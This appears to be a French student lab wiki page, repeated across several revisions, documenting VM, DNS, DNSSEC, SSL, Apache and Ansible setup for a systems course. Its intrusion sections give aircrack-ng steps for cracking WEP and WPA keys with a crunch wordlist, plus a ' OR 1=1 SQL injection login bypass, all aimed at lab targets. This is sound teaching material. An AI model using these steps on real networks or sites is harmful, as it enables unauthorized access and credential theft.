$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57952TP sysres IMA5 2021/2022 G112022-01-12T11:51:16Z<p>Cgodet1 : /* TP ASR */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
<br />
<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57895TP sysres IMA5 2021/2022 G112022-01-12T10:14:50Z<p>Cgodet1 : /* TP ASR */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
